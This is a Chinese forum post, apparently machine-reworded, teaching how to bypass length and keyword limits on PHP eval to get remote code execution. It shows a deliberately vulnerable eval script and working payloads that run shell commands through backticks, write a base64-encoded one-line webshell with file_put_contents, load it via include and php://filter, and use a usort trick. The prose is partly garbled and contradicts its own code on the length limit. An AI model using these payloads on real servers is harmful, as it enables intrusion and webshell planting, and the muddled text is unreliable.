RCE的奇技淫巧(EVAL长度限定突破技巧)

打印 上一主题 下一主题

主题 984|帖子 984|积分 2952

目次
一、EVAL长度限定突破技巧
1、简单绕过技巧:(`$_GET[1]`)
1.1首先我们先创建一个web.php文件
1.2利用`$_GET[1]`拿到webshell
2、文件包罗利用
2.1利用$_GET[1]写入文件
2.2文件包罗方式执行文件
2.3将页面执行出来的base64编码举行解码就是一个一句话木马
3、利用usort(...$_GET)技巧突破限定;
3.1抓包
3.2将内容发送已往发现出现错误,这里是因为我是php7.3.4的版本,这个弊端已经被修复了所以看不到结果,将版本更换为php5.6即可


一、EVAL长度限定突破技巧

1、简单绕过技巧:(`$_GET[1]`)

1.1首先我们先创建一个web.php文件

  1. <?php
  2. $param = $_REQUEST['param']; If (
  3. strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
  4. ) {
  5. eval($param);
  6. }
复制代码
这里的意思是,对只要出现eval和assert这两个函数举行限定,对长度限定是要小于7
这里的param就是吸收的参数,那么我们就可以在网页上举行绕过限定得到我们想要的页面,比方我们运行phpinfo的页面
192.168.171.136/web.php?param=phpinfo();

1.2利用`$_GET[1]`拿到webshell

编写语句
web.php?param=echo `$_GET[1]`;&1=id;,这里``就是将下令执行转换为了代码执行
注释:这里&后的1等于的是id

这里必须注意要在&前面添加分号,ascii必须要echo才气输出内容

2、文件包罗利用

2.1利用$_GET[1]写入文件


注释:file_put_contents&param=$_GET[1](N,P,8)
param传的参数是$_GET[1],$_GET[1]相称于写的是file_put_contents;1吸收的参数是N,P,8,N是要写入的文件名,P是一句话木马的base64的编码也就是我们要写入文件里的具体参数,8是追加参数
转换成base64是因为有些字符不能追加,比如^,

执行后就可以看到Linux 文件目次下多了一个文件N里面也追加成功了内容

2.2文件包罗方式执行文件

param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
include就是包罗的意思,这里的文件包罗就是把吸收到所有文件当作是php文件来执行

2.3将页面执行出来的base64编码举行解码就是一个一句话木马


3、利用usort(...$_GET)技巧突破限定;


php、JS中可变长参数表示:...

3.1抓包



3.2将内容发送已往发现出现错误,这里是因为我是php7.3.4的版本,这个弊端已经被修复了所以看不到结果,将版本更换为php5.6即可



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

罪恶克星

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表